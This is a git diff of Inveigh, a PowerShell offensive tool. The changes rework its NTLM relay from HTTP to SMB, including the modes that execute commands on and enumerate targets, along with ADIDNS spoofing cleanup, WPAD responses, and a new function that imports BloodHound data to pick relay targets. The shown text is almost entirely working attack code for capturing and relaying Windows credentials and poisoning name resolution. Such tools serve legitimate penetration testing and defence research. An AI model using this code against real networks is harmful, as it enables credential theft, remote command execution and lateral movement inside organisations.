'Execute' -and $Attack -notcontains 'Session' -and $SMB_client.Connected)) -and - (!$inveigh.enumeration_data[$target_index].Execute -or (New-TimeSpan $inveigh.enumeration_data[$target_index].Execute $filter_date).Minutes -gt $RepeatExecute)) - { - SMBRelayExecute $SMB_client $SMB_version $SMB_user_ID $session_ID $process_ID_bytes $false - $inveigh.enumeration_data[$target_index].Execute = $(Get-Date -format s) + if(!$client.Connected) + { + $inveigh.session_list[$inveigh.session_count] | Where-Object {$_.Status = "disconnected"} + } + + $inveigh.session_count++ } - if(!$SMB_client.Connected) + if($Attack -notcontains 'Session' -and !$SMB_relay_failed -and $RelayAutoDisable -eq 'Y') { - $inveigh.session_list[$inveigh.session_count] | Where-Object {$_.Status = "disconnected"} - } - $inveigh.session_count++ - } + if($Attack -contains 'Enumerate') + { - if($Attack -notcontains 'Session' -and !$SMB_relay_failed -and $RelayAutoDisable -eq 'Y') - { + $targets_enumerate_complete = $inveigh.enumerated_data | Where-Object {$_.Enumerate} | Select-Object -expand IP - if($Attack -contains 'Enumerate') - { + if($inveigh.target_list -and $targets_enumerated) + { + $targets_enumerate_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_enumerate_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="} + } - $targets_enumerate_complete = $inveigh.enumeration_data | Where-Object {$_.Enumerate} | Select-Object -expand IP + } - if($inveigh.target_list -and $targets_enumerated) + if($Attack -contains 'Execute') { - $targets_enumerate_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_enumerate_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="} - } - } + $targets_execute_complete = $inveigh.enumerated_data | Where-Object {$_.Execute} | Select-Object -expand IP - if($Attack -contains 'Execute') - { + if($inveigh.target_list -and $targets_enumerated) + { + $targets_execute_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_execute_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="} + } - $targets_execute_complete = $inveigh.enumeration_data | Where-Object {$_.Execute} | Select-Object -expand IP + } - if($inveigh.target_list -and $targets_enumerated) + if($Attack -notcontains 'Session' -or (!$targets_enumerate_remaining -and $Attack -contains 'Enumerate' -and $Attack -notcontains 'Execute') -or + (!$targets_execute_remaining -and $Attack -contains 'Execute' -and $Attack -notcontains 'Enumerate') -or + (!$targets_enumerate_remaining -and !$targets_execute_remaining -and $Attack -contains 'Enumerate' -and $Attack -contains 'Execute')) { - $targets_enumerate_remaining = Compare-Object -ReferenceObject $inveigh.target_list -DifferenceObject $targets_execute_complete -PassThru | Where-Object {$_.SideIndicator -eq "<="} + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay auto disabled due to success") > $null + $inveigh.SMB_relay = $false } } - if((!$targets_enumerate_remaining -and $Attack -contains 'Enumerate' -and $Attack -notcontains 'Execute') -or - (!$targets_execute_remaining -and $Attack -contains 'Execute' -and $Attack -notcontains 'Enumerate') -or - (!$targets_enumerate_remaining -and !$targets_execute_remaining -and $Attack -contains 'Enumerate' -and $Attack -contains 'Execute')) - { - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay auto disabled due to success") > $null - $inveigh.SMB_relay = $false - } - + $relay_step = 0 + } + else + { + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay stopped since $HTTP_username_full has exceeded session limit on $target") > $null + $client.Close() + $relay_step = 0 } - $relay_step = 0 } else { - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay aborted since $HTTP_username_full has exceeded failed login limit") > $null - $SMB_client.Close() + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay stopped since $HTTP_username_full has exceeded failed login limit") > $null + $client.Close() $relay_step = 0 } } else { - $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") > $null - $SMB_client.Close() + $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Relay stopped since $HTTP_NTLM_user_string appears to be a machine account") > $null + $client.Close() $relay_step = 0 } @@ -5791,7 +5677,7 @@ $HTTP_scriptblock = else { $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_username_full not on relay username list") > $null - $SMB_client.Close() + $client.Close() $relay_step = 0 } @@ -5813,26 +5699,32 @@ $HTTP_scriptblock = if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) { $HTTP_message = $WPADResponse - $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig") } $HTTP_timestamp = Get-Date -format r $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) - $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) $HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) { $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) } - + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary - $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponseVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + + if($HTTP_connection_header_close) + { + $HTTP_connection_header = [System.Text.Encoding]::UTF8.GetBytes("Connection: close") + $packet_HTTPResponse.Add("HTTPResponse_Connection",$HTTP_connection_header + [Byte[]](0x0d,0x0a)) + } + + $packet_HTTPResponse.Add("HTTPResponse_Server",[System.Text.Encoding]::UTF8.GetBytes("Server: Microsoft-HTTPAPI/2.0") + [Byte[]](0x0d,0x0a)) $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) - $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",[System.Text.Encoding]::UTF8.GetBytes("Content-Length: $($HTTP_message_bytes.Length)") + [Byte[]](0x0d,0x0a)) if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) { @@ -5879,11 +5771,10 @@ $HTTP_scriptblock = else { - if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + if($HTTP_data_available -or $HTTP_connection_header_close) { $HTTP_client.Close() $HTTP_client_close = $true - $HTTP_reset_delay = $false } else { @@ -5908,10 +5799,10 @@ $control_relay_scriptblock = { param ($ConsoleQueueLimit,$RelayAutoExit,$RunTime) - function OutputQueueLoop + function Invoke-OutputQueueLoop { - while($inveigh.output_queue.Count -gt 0 -and !$inveigh.output_pause) + while($inveigh.output_queue.Count -gt 0) { $inveigh.console_queue.Add($inveigh.output_queue[0]) > $null @@ -5933,7 +5824,7 @@ $control_relay_scriptblock = function Stop-InveighRunspace { param ([String]$Message) - + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) { @@ -5957,35 +5848,6 @@ $control_relay_scriptblock = } - if($inveigh.DNS_table.Count -gt 0) - { - - foreach($DNS_host in $inveigh.DNS_table.Keys) - { - - if($inveigh.DNS_table.$DNS_host -eq 1) - { - - $DNS_update = Invoke-DNSUpdateLite -DNSType A -DNSName $DNS_host - - if($DNS_update -eq "[+] DNS update successful") - { - $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] DNS host (A) record for $DNS_host removed") - } - else - { - $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] DNS host (A) record for $DNS_host remove failed") - } - - } - - } - - $inveigh.DNS_list = New-Object System.Collections.ArrayList - $inveigh.requested_host_list = New-Object System.Collections.ArrayList - $inveigh.requested_host_IP_list = New-Object System.Collections.ArrayList - } - if($inveigh.ADIDNS -eq 'Wildcard') { @@ -6002,19 +5864,19 @@ $control_relay_scriptblock = } - if($inveigh.ADIDNS -eq 'Combo' -and $inveigh.DNS_table.Count -gt 0) + if($inveigh.ADIDNS -eq 'Combo' -and $inveigh.ADIDNS_table.Count -gt 0) { - foreach($DNS_host in $inveigh.DNS_table.Keys) + foreach($DNS_host in $inveigh.ADIDNS_table.Keys) { - if($inveigh.DNS_table.$DNS_host -eq 1) + if($inveigh.ADIDNS_table.$DNS_host -eq 1) { try { Disable-ADIDNSNode -Credential $ADIDNSCredential -Domain $ADIDNSDomain -DomainController $ADIDNSDomainController -Node $DNS_host -Partition $ADIDNSPartition -Zone $ADIDNSZone - $inveigh.DNS_table.$DNS_host = "" + $inveigh.ADIDNS_table.$DNS_host = $null } catch { @@ -6032,29 +5894,41 @@ $control_relay_scriptblock = if($inveigh.relay_running) { - Start-Sleep -S 1 + Start-Sleep -m 100 if($Message) { $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting due to $Message") > $null } + else + { + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh Relay is exiting") > $null + } + + if(!$inveigh.running) + { + Invoke-OutputQueueLoop + Start-Sleep -m 100 + } - OutputQueueLoop - Start-Sleep -S 1 $inveigh.relay_running = $false } if($inveigh.running) { - Start-Sleep -S 1 - + Start-Sleep -m 100 + if($Message) { $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting due to $Message") > $null } + else + { + $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] Inveigh is exiting") > $null + } - OutputQueueLoop - Start-Sleep -S 1 + Invoke-OutputQueueLoop + Start-Sleep -m 100 $inveigh.running = $false } @@ -6067,7 +5941,7 @@ $control_relay_scriptblock = $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } - while($inveigh.relay_running) + while($inveigh.relay_running -and !$inveigh.running) { if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay) @@ -6131,7 +6005,11 @@ $control_relay_scriptblock = } - OutputQueueLoop + if(!$inveigh.running) + { + Invoke-OutputQueueLoop + } + Start-Sleep -m 5 if($inveigh.stop) @@ -6165,12 +6043,12 @@ $session_refresh_scriptblock = if($inveigh.session_socket_table[$session].Connected -and $inveigh.session_lock_table[$session] -eq 'open' -and $session_timespan.Minutes -ge $SessionRefresh) { $inveigh.session_lock_table[$session] = 'locked' - $SMB_client = $inveigh.session_socket_table[$session] - $SMB_client_stream = $SMB_client.GetStream() + $client = $inveigh.session_socket_table[$session] + $client_stream = $client.GetStream() $session_ID = $inveigh.session_table[$session] $message_ID = $inveigh.session_message_ID_table[$session] $tree_ID = 0x00,0x00,0x00,0x00 - $SMB_client_receive = New-Object System.Byte[] 1024 + $client_receive = New-Object System.Byte[] 1024 $SMB_path = "\\" + $inveigh.session_socket_table[$session].Client.RemoteEndpoint.Address.IPaddressToString + "\IPC$" $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) $message_ID++ @@ -6180,13 +6058,13 @@ $session_refresh_scriptblock = $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data try { - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null } catch { @@ -6196,7 +6074,7 @@ $session_refresh_scriptblock = if($inveigh.session_socket_table[$session].Connected) { - $tree_ID = $SMB_client_receive[40..43] + $tree_ID = $client_receive[40..43] Start-Sleep -s 1 $message_ID++ $packet_SMB2_header = New-PacketSMB2Header 0x04,0x00 0x01,0x00 $false $message_ID $process_ID_bytes $tree_ID $session_ID @@ -6205,13 +6083,13 @@ $session_refresh_scriptblock = $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data + $client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data try { - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null } catch { @@ -6254,8 +6132,8 @@ function HTTPListener $HTTP_powershell.AddScript($packet_functions_scriptblock) > $null $HTTP_powershell.AddScript($SMB_relay_functions_scriptblock) > $null $HTTP_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( - $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedAuthLimit).AddArgument( - $HTTPIP).AddArgument($HTTPPort).AddArgument($HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument( + $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedLoginThreshold).AddArgument( + $HTTPIP).AddArgument($HTTPPort).AddArgument( $HTTPS_listener).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument( $RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument( $Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument( @@ -6279,8 +6157,8 @@ function HTTPSListener $HTTPS_powershell.AddScript($packet_functions_scriptblock) > $null $HTTPS_powershell.AddScript($SMB_relay_functions_scriptblock) > $null $HTTPS_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( - $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedAuthLimit).AddArgument( - $HTTPIP).AddArgument($HTTPSPort).AddArgument($HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument( + $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedLoginThreshold).AddArgument( + $HTTPIP).AddArgument($HTTPSPort).AddArgument( $HTTPS_listener).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument( $RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument( $Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument( @@ -6304,8 +6182,8 @@ function ProxyListener $proxy_powershell.AddScript($packet_functions_scriptblock) > $null $proxy_powershell.AddScript($SMB_relay_functions_scriptblock) > $null $proxy_powershell.AddScript($HTTP_scriptblock).AddArgument($Attack).AddArgument($Challenge).AddArgument( - $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedAuthLimit).AddArgument( - $ProxyIP).AddArgument($ProxyPort).AddArgument($HTTPResetDelay).AddArgument($HTTPResetDelayTimeout).AddArgument( + $Command).AddArgument($Enumerate).AddArgument($EnumerateGroup).AddArgument($FailedLoginThreshold).AddArgument( + $ProxyIP).AddArgument($ProxyPort).AddArgument( $HTTPS_listener).AddArgument($Proxy).AddArgument($ProxyIgnore).AddArgument($proxy_listener).AddArgument( $RelayAutoDisable).AddArgument($RepeatEnumerate).AddArgument($RepeatExecute).AddArgument( $Service).AddArgument($SMB_version).AddArgument($SessionLimitPriv).AddArgument( @@ -6371,7 +6249,10 @@ if($Proxy -eq 'Y') } # Control Relay Loop Start -ControlRelayLoop +if(!$inveigh.running) +{ + ControlRelayLoop +} # Session Refresh Loop Start if($SessionRefresh -gt 0) @@ -6392,12 +6273,12 @@ try $console_status_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } - :console_loop while($inveigh.relay_running -and $inveigh.console_output) + :console_loop while(($inveigh.relay_running -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) { while($inveigh.console_queue.Count -gt 0) { - + switch -wildcard ($inveigh.console_queue[0]) { @@ -6474,7 +6355,7 @@ try } } - + } if($ConsoleStatus -and $console_status_stopwatch.Elapsed -ge $console_status_timeout) @@ -6631,52 +6512,12 @@ Stop-Inveigh will stop all running Inveigh functions. if($inveigh) { $inveigh.stop = $true - + if($inveigh.running -or $inveigh.relay_running) { $inveigh.console_queue.Clear() Watch-Inveigh -NoConsoleMessage - - <# - if($inveigh.relay_running) - { - $output = "[*] [$(Get-Date -format s)] Inveigh Relay is exiting" - - if($inveigh.file_output) - { - $output | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add($output) > $null - } - - Write-Output $output - $inveigh.relay_running = $false - } - - if($inveigh.running) - { - $output = "[*] [$(Get-Date -format s)] Inveigh is exiting" - - if($inveigh.file_output) - { - $output | Out-File $Inveigh.log_out_file -Append - } - - if($inveigh.log_output) - { - $inveigh.log.Add($output) > $null - } - - Write-Output $output - $inveigh.running = $false - } - - $inveigh.HTTPS = $false - #> - Start-Sleep -S 5 + Start-Sleep -S 2 } else { @@ -6805,12 +6646,12 @@ Get relay session list. if($DNS) { - foreach($DNS in $inveigh.DNS_list) + foreach($DNS_host in $inveigh.ADIDNS_table.Keys) { - if($DNS.StartsWith("1,")) + if($inveigh.ADIDNS_table.$DNS_host -eq 1) { - Write-Output $DNS.Substring(2) + Write-Output $DNS_host } } @@ -6820,12 +6661,12 @@ Get relay session list. if($DNSFailed) { - foreach($DNS in $inveigh.DNS_list) + foreach($DNS_host in $inveigh.ADIDNS_table.Keys) { - if($DNS.StartsWith("0,")) + if($inveigh.ADIDNS_table.$DNS_host -eq 0) { - Write-Output $DNS.Substring(2) + Write-Output $DNS_host } } @@ -6938,7 +6779,7 @@ Get relay session list. if($Enumeration) { - Write-Output $inveigh.enumeration_data | Format-Table + Write-Output $inveigh.enumerated_data | Format-Table } } @@ -6956,6 +6797,7 @@ Watch-Inveigh will enabled real time console output. If using this function thro [CmdletBinding()] param ( + [parameter(Mandatory=$false)][Switch]$NoConsoleMessage, [parameter(Mandatory=$false)][ValidateSet("Low","Medium")][String]$ConsoleOutput = "Y", [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter ) @@ -6965,7 +6807,12 @@ if($inveigh.tool -ne 1) if($inveigh.running -or $inveigh.relay_running) { - Write-Output "[*] Press any key to stop real time console output" + + if(!$NoConsoleMessage) + { + Write-Output "[*] Press any key to stop console output" + } + $inveigh.console_output = $true :console_loop while((($inveigh.running -or $inveigh.relay_running) -and $inveigh.console_output) -or ($inveigh.console_queue.Count -gt 0 -and $inveigh.console_output)) @@ -7062,6 +6909,242 @@ if($inveigh) } -#endregion +} + +function ConvertTo-Inveigh +{ + <# + .SYNOPSIS + ConvertTo-Inveigh imports Bloodhound computers, groups and session JSON files into $inveigh.enumerated_data + for Inveigh Relay targeting. + #> + + [CmdletBinding()] + param + ( + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundComputersJSON, + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundSessionsJSON, + [parameter(Mandatory=$false)][ValidateScript({Test-Path $_})][String]$BloodHoundGroupsJSON, + [parameter(Mandatory=$false)][Switch]$DNS, + [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter + ) + + if(!$inveigh) + { + $global:inveigh = [HashTable]::Synchronized(@{}) + $inveigh.cleartext_list = New-Object System.Collections.ArrayList + $inveigh.IP_capture_list = New-Object System.Collections.ArrayList + $inveigh.log = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv1_username_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_list = New-Object System.Collections.ArrayList + $inveigh.NTLMv2_username_list = New-Object System.Collections.ArrayList + $inveigh.POST_request_list = New-Object System.Collections.ArrayList + $inveigh.valid_host_list = New-Object System.Collections.ArrayList + $inveigh.ADIDNS_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_failed_login_table = [HashTable]::Synchronized(@{}) + $inveigh.relay_history_table = [HashTable]::Synchronized(@{}) + $inveigh.request_table = [HashTable]::Synchronized(@{}) + $inveigh.session_socket_table = [HashTable]::Synchronized(@{}) + $inveigh.session_table = [HashTable]::Synchronized(@{}) + $inveigh.session_message_ID_table = [HashTable]::Synchronized(@{}) + $inveigh.session_lock_table = [HashTable]::Synchronized(@{}) + $inveigh.SMB_session_table = [HashTable]::Synchronized(@{}) + $inveigh.domain_mapping_table = [HashTable]::Synchronized(@{}) + $inveigh.group_table = [HashTable]::Synchronized(@{}) + $inveigh.session_count = 0 + $inveigh.session_list = @() + $inveigh.enumerated_data = @() + } + + function New-RelayEnumObject + { + param ($IP,$Hostname,$Sessions,$AdministratorUsers,$AdministratorGroups,$Privileged,$Shares,$NetSessions,$NetSessionsMapped, + $LocalUsers,$SMB2,$Signing,$SMBServer,$Targeted,$Enumerate,$Execute) + + if($Sessions -and $Sessions -isnot [Array]){$Sessions = @($Sessions)} + if($AdministratorUsers -and $AdministratorUsers -isnot [Array]){$AdministratorUsers = @($AdministratorUsers)} + if($AdministratorGroups -and $AdministratorGroups -isnot [Array]){$AdministratorGroups = @($AdministratorGroups)} + if($Privileged -and $Privileged -isnot [Array]){$Privileged = @($Privileged)} + if($Shares -and $Shares -isnot [Array]){$Shares = @($Shares)} + if($NetSessions -and $NetSessions -isnot [Array]){$NetSessions = @($NetSessions)} + if($NetSessionsMapped -and $NetSessionsMapped -isnot [Array]){$NetSessionsMapped = @($NetSessionsMapped)} + if($LocalUsers -and $LocalUsers -isnot [Array]){$LocalUsers = @($LocalUsers)} + + $relay_object = New-Object PSObject + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Index" $inveigh.enumerated_data.Count + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "IP" $IP + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Hostname" $Hostname + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Sessions" $Sessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Users" $AdministratorUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Administrator Groups" $AdministratorGroups + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Privileged" $Privileged + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Shares" $Shares + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions" $NetSessions + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "NetSessions Mapped" $NetSessionsMapped + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Local Users" $LocalUsers + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB2.1" $SMB2 + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Signing" $Signing + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "SMB Server" $SMBServer + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Targeted" $Targeted + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Enumerate" $Enumerate + Add-Member -InputObject $relay_object -MemberType NoteProperty -Name "Execute" $Execure + + return $relay_object + } + + function Get-DNSEntry([String]$hostname) + { + + try + { + $IP_list = [System.Net.Dns]::GetHostEntry($hostname) + + foreach($entry in $IP_list.AddressList) + { + + if(!$entry.IsIPv6LinkLocal) + { + $IP = $entry.IPAddressToString + } + + } + + } + catch + { + $IP = $null + } + + return $IP + } + + if($BloodHoundComputersJSON) + { + $bloodHound_computers_JSON = Get-Content $BloodHoundComputersJSON + $bloodhound_computers = ConvertFrom-Json -InputObject $bloodhound_computers_JSON + + $bloodhound_computers.Computers | ForEach-Object { + $hostname = $_.Name + [Array]$local_admin_users = $_.LocalAdmins | Where-Object {$_.Type -eq 'User'} | Select-Object -expand Name + [Array]$local_admin_groups = $_.LocalAdmins | Where-Object {$_.Type -eq 'Group'} | Select-Object -expand Name + + if($DNS) + { + $IP = Get-DNSEntry $hostname + + if(!$IP) + { + Write-Output "[-] DNS lookup for $Hostname failed" + } + + } + + if(($hostname -and ($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname})) -or ($IP -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP}))) + { + + if(!($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname}) -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP})) + { + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index -First 1 + $inveigh.enumerated_data[$target_index].Hostname = $hostname + } + else + { + $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1 + } + + $inveigh.enumerated_data[$target_index]."Administrator Users" = $local_admin_users + $inveigh.enumerated_data[$target_index]."Administrator Groups" = $local_admin_groups + } + else + { + $inveigh.enumerated_data += New-RelayEnumObject -Hostname $_.Name -IP $IP -AdministratorUsers $local_admin_users -AdministratorGroups $local_admin_groups + } + + $IP = $null + $hostname = $null + $local_admin_users = $null + $local_admin_groups = $null + $target_index = $null + } + + } + + if($BloodHoundSessionsJSON) + { + $bloodhound_sessions_JSON = Get-Content $BloodHoundSessionsJSON + $bloodhound_sessions = ConvertFrom-Json -InputObject $bloodhound_sessions_JSON + + $bloodhound_sessions.Sessions | ForEach-Object { + $hostname = $_.ComputerName + + if($hostname -match "\b(?:(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.){3}(?:25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\b") + { + $IP = $hostname + $hostname = $null + } + else + { + + if($DNS) + { + $IP = Get-DNSEntry $hostname + + if(!$IP) + { + Write-Output "[-] DNS lookup for $Hostname failed or IPv6 address" + } + + } + + } + + if(($hostname -and ($inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname})) -or ($IP -and ($inveigh.enumerated_data | Where-Object {$_.IP -eq $IP}))) + { + + if($IP) + { + $target_index = $inveigh.enumerated_data | Where-Object {$_.IP -eq $IP} | Select-Object -expand Index -First 1 + } + else + { + $target_index = $inveigh.enumerated_data | Where-Object {$_.Hostname -eq $hostname} | Select-Object -expand Index -First 1 + } + + [Array]$session_list = $inveigh.enumerated_data[$target_index].Sessions + + if($session_list -notcontains $_.UserName) + { + $session_list += $_.UserName + $inveigh.enumerated_data[$target_index].Sessions = $session_list + } + + } + else + { + $inveigh.enumerated_data += New-RelayEnumObject -Hostname $hostname -IP $IP -Sessions $_.UserName + } + + $hostname = $null + $IP = $null + $session_list = $null + $target_index = $null + } + } + + if($BloodHoundGroupsJSON) + { + $bloodhound_groups_JSON = Get-Content $BloodHoundGroupsJSON + $bloodhound_groups = ConvertFrom-Json -InputObject $bloodhound_groups_JSON + + $bloodhound_groups.Groups | ForEach-Object { + [Array]$group_members = $_.Members | Select-Object -expand MemberName + $inveigh.group_table.Add($_.Name,$group_members) + $group_members = $null + } + + } + +} -}
\ No newline at end of file +#endregion
\ No newline at end of file diff --git a/Inveigh.ps1 b/Inveigh.ps1 index 87f0a56..449c191 100644 --- a/Inveigh.ps1 +++ b/Inveigh.ps1 @@ -12,31 +12,35 @@ challenge/response capture over HTTP/HTTPS/Proxy/SMB. Default = Disabled: (Combo/Wildcard) Enable an ADIDNS spoofing attack. Combo looks at LLMNR/NBNS requests and adds a record to DNS if the same request is received from multiple systems. Wildcard injects a wildcard record. +.PARAMETER ADIDNSCleanup +Default = Enabled: Enable/Disable removing added ADIDNS records upon shutdown. + .PARAMETER ADIDNSCredential -PSCredential object that will be used with ADIDNS spoofing. +PSCredential object that will be used with ADIDNS spoofing. .PARAMETER ADIDNSDomain -The targeted domain in DNS format. This parameter is required when using an IP address in the -ADIDNSDomainController parameter. +The targeted domain in DNS format. .PARAMETER ADIDNSDomainController Domain controller to target. This parameter is mandatory on a non-domain attached system. +.PARAMETER ADIDNSForest +The targeted forest in DNS format. + .PARAMETER ADIDNSHostsIgnore Comma seperated list of hosts that will be ignored with ADIDNS spoofing. -.PARAMETER ADIDNSIP -IP address for ADIDNS spoofing. This parameter is only necessary when redirecting victims to a system other than -the Inveigh host. 